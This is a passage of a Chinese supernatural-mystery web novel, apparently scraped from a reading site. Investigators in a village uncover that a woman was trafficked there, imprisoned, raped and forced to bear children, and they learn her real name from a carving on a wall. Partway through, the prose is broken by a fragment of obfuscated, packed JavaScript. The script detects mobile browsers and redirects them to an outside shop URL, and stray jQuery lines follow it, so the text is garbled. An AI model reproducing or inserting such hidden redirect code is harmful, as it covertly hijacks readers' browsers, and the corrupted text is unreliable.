朱好好一下就想到了村长家里那个昏暗的房间还有里面那个模糊的人影。
何媚又说了一下他们向村里其他人打听的结果,“和周秀的说法大致相同,叫方兰,是方翠的侄女,精神有问题,回娘家嫁人生孩子,然后当了寡妇又在小牛村定居了。”
村长和李伟两个最忧心孩子的却没有出去找孩子,对坐在村长家的客厅里,朱好好他们到的时候,李伟的脸色已经变成了青白色,眼里盈满了恐惧。
他们之间的对话因为朱好好一行人的到来戛然而止,李伟更是像一只偷吃的老鼠被发现一样,抖着肚子上的肉跑走了。村长倒是看不出异样,佝偻着背,用他那双狭长的眼睛看他们,声音苍老:“有事吗?”
朱好好从进来起目光就一直盯着看不清全貌的昏暗房间,这事听到村长的问话,不由看向张淮,猜测他会说出什么借口。但张淮只是往旁边让出一步,让何媚面对村长,自己没事人一样左右张望。
何媚似乎叹了口气,伸出右手,拇指掐住中指第一节,快速念道:“蒙魂神将,威震凌空,闻吾用法,早助神功,急急垂下,立便昏蒙。”说罢,她冲村长的方向轻轻吹了口气,一直戒备地盯着他们的村长忽然僵住了,眨眼间便倒在了地上。
原来不需要找借口,只要让房子主人无话可说就行。虽然朱好好自己也偏向这么做,但她没办法像何媚那样念个咒就能让鬼立刻失去意识。看着已经默契地在房子各处翻找地其他人,她默默记下了何媚刚才念的咒语和手势。
她不知道张淮要找什么,但她很好奇那间房间,就直接往那里走。这下,她终于看清了房间的全貌。和她想的一样,这是一间佛龛室。
不大的房间里没有窗,也没有灯,唯一的照明工具是木桌上,摆放在佛像两侧的红色蜡烛。忽闪的火焰将周围的一小片空间照成暗红色,将宝相庄严、慈眉善目的地藏王菩萨都染上红色,莲花座上忽明忽暗的身影无端生出诡谲之色。
但最为惊悚的还是佛像前跪着的枯瘦身体。那个身体的头发花白,扎在脑后一丝不苟,明明是夏季却在身上裹了一件厚重的棉衣。她跪在蒲团上,背影一动不动,若不是耳边能隐隐听到细若蚊蝇的呢喃声,朱好好都要以为那是个假人了。
她屏息仔细去听那近乎嗡鸣的呢喃声,好半天只听清了“千万亿劫,求无出期”八个字。跪着的人似乎是在翻来覆去地念这八个字。
“若有众生,不孝父母,或至杀害,当堕无间地狱,千万亿劫,求无出期。”有人走到她身边,轻声念了这一句话。朱好好转头去看,是听颂。
听颂没有看她,自顾自地说:“若有众生,出佛身血,毁谤三宝,不敬尊经,亦当堕于无间地狱,千万亿劫,求出无期。
若有众生,侵损常住,玷污僧尼,或伽蓝内恣行□□,或杀或害,如是等辈,当堕无间地狱,千万亿劫,求出无期。出自《地藏菩萨本愿经?观众生业缘品第三》,是地藏菩萨对佛母摩耶夫人开示的无间地狱重罪清单。”
“当堕无间地狱,千万亿劫,求无出期……”朱好好呢喃着,这是比千刀万剐、五雷轰顶还要恶毒的誓言。她不禁好奇,忏悔之人究竟做了什么,才会这样诅咒自己。
她往里走了几步,从侧后方看到了忏悔之人的样貌,和她的身体一样枯瘦,脸上的皮贴在骨头上,两只眼睛紧闭,双手合十,干裂的嘴唇不断开开合合,这次她将“千万亿劫,求无出期”八个字听得很清楚。
“你好?”朱好好试探地问了一声,意料之中地没有得到答复。
“方奶奶?”昭昭在她耳边疑惑地喊了一声。
老人突然停下了忏悔,睁开眼,浑浊的双眼落在了昭昭身上,她的嘴角扯动了一下,朱好好分不清那是个笑还是颤抖。老人没对他们说什么,似乎只是因为昭昭开口叫她,她便看一眼,但也就一眼便重新闭上眼,接着反复念着那几个字。
朱好好在房间里逛了一圈。这间房真的只有一张供奉佛像的木桌,其他地方空空荡荡。玉燕走过来叫她,也扫视了一眼房间,问:“有什么发现吗?”
“她是方翠。”
玉燕诧异地看了一眼枯瘦的老人,但暂时没说什么。
“先出去吧,老板找到了。”
朱好好跟在玉燕身后,疑惑地问:“找到什么了?”
但不用玉燕回答,一走到客厅,她就看到了张淮手里泛黄的厚重的本子,封面上用毛笔字写着“黄家村户籍信息抄录表”,桌面上还放着一本较新一些的,同样很厚的本子,封面写着“小牛村户籍信息抄录表”。
“户籍登记……”朱好好本来还在困惑,但脑子里突然闪过什么,此前接收到的所有信息一下子都往脑子里涌,她大概知道为什么张淮要找这个了。
她和玉燕的目光对视。玉燕知道她想问什么,叹了口气说:“上面没有关于昭昭妈妈的任何信息。”
朱好好的心顿时凉了半截。思绪回到昭昭说的铁柱和阿水的身世上。
铁柱和阿水都是昭昭妈妈生的,却被不同的“父亲”接走;昭昭说她妈妈很不开心,她妈妈不喜欢小牛村的人,她妈妈被小牛村的人欺负……
周秀说“方兰”是方翠的侄女,回娘家嫁人了,但实际上一直被关在地窖里,还生下了昭昭。为什么他们要将她关起来不让村里其他人知道?因为她想逃,而她逃跑的原因是不能被其他人知道的。
还有,那段恐怖的记忆。村民围着“方兰”,高高在上,用竹竿打断了她的腿,打断了她想离开的念头。她喜欢跳舞,腿被打断,她再也不能跳舞,这对她来说比死还可怕。后来呢,后来到底发生了什么?想到这里,朱好好突然感觉一阵寒意蔓延全身。
所以,村里其他人知道吗?知道昭昭的妈妈,那个真实名字都不知道的女人不是小牛村的人,而是被拐卖来的。
她或许是被拐来生孩子的吧?在村里有权势的村长和那些村里的富户,将当时或许只有二十五岁不到的她拐来,不顾她的挣扎□□了她。为了让她怀上孩子,这样的虐待或许还进行了很多次,直到她怀上孩子为止。但这还没完,他们要的是男孩,所以早出生的昭昭没人要。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705739|208316||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>昭昭出生后,她会不会以为虐待已经结束了呢?但是没有,她再次生下了两个男孩,被不同的男人接走了,两个男孩的父亲是一个人吗?大概不是吧。
朱好好一点一点拼凑出了事情的真相,她现在明白为什么昭昭说她妈妈不喜欢她了。有哪个女人会喜欢和□□犯生的孩子呢?哪怕知道稚子无辜,但其存在就是错误,朱好好反而佩服她居然没有杀死那三个孩子。
张淮很快翻完了厚厚的《黄家村户籍信息抄录表》,随手放在桌子上,微笑着朝昭昭招了下手。朱好好带着她往前走了几步,让昭昭能站在张淮面前。
他摸了下昭昭的脑袋,问她:“你想知道妈妈叫什么吗?”
昭昭懵懂地点头。
“你要记住了,昭昭,你妈妈的名字叫赵朝颜,是晨光中的笑颜。”
昭昭一下一下地念着妈妈的名字,脸上的笑容怎么也控制不住。她转头看朱好好,像每一个拿到好东西就像和亲近的人炫耀的孩子一样,高兴地说:“我妈妈叫赵朝颜,我妈妈叫赵朝颜!”
朱好好心情复杂地应了一声。
玉燕问:“老板,你怎么知道的?”
张淮把手放在膝盖上,侧头望向窗外蒙上了阴霾的天空说:“在她的房间里,靠着床的一面墙上,刻了这三个字,痕迹很深。”
玉燕张张嘴,本来想说这也不一定就是她的名字。但又转念一想,这似乎也无关紧要。她被拐卖来这偏远的村庄,被剥夺了姓名,失去了亲人,午夜梦回不断刻着“赵朝颜”,或许是她与原本的世界唯一有关联的事物了。
何媚紧皱着眉头唾了一声,骂了一句“畜牲玩意”,看着昭昭的眼神也不禁复杂了起来,叹了好几声还是摸了摸昭昭的脑袋。
朱好好忽然问:“这么多年她为什么不逃走或是求救,明明会有很多机会。”
小牛村因为卖牛平时肯定会有外人来往村子里,在看安警官等人,平时应该也会时不时来村子里走动一趟,只要想,她总能把求救的信号传递出去。
何媚冲她摇摇头,语气无奈:“好好,人一旦难以规避痛苦就会选择拥抱痛苦,这是生存本能。你想想,最初被拐来时,她一定拼命想要逃出去,但她的对手是一整个村子的人,她怎么逃、怎么求救?或许她也有几乎要成功的时候,但很快被发现了,她被抓回来,迎接她的一定不是父母训斥调皮的孩子那样温柔,那是地狱啊。
后来呢?随着时间过去,这些人对她的看管或许慢慢减弱了,但这个时候她真的还敢再逃出去,再找人求助吗?她在这里受到了数不清的虐待,生了三个孩子,或许除了害怕再次受到惩罚,她会不会想就算自己逃出去了,该如何面对父母、朋友、爱人还有其他人。
或许她无数次伸出手,又无数次收了回来。”
朱好好沉默了,她理解,她怎么不理解。但那太懦弱了,接受疼痛告诉自己习惯就好,然后渐渐麻木,记忆也开始淡忘,然后大脑真的告诉自己,就是这样,一切都是正常的。
不,那不正常。疼痛才是现实,她绝不要麻木。